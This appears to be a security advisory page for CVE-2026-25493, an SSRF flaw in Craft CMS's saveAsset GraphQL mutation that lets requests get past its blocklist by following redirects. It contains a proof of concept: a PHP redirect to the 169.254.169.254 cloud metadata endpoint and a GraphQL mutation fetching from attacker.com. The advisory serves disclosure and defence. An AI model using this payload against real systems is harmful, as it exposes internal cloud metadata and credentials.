CVE-2026-25493

EPSS 0.02%

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Published: 2/9/2026Modified: 2/9/2026
Also known as:GHSA-8jr8-7hr4-vhfx

Description

## Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. --- ## Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } ``` 3. The application validates `attacker.com` (passes) 4. Guzzle follows the redirect to `169.254.169.254` 5. Cloud metadata is saved as an asset --- ## Mitigation - Disable redirects.

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0—CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References (6)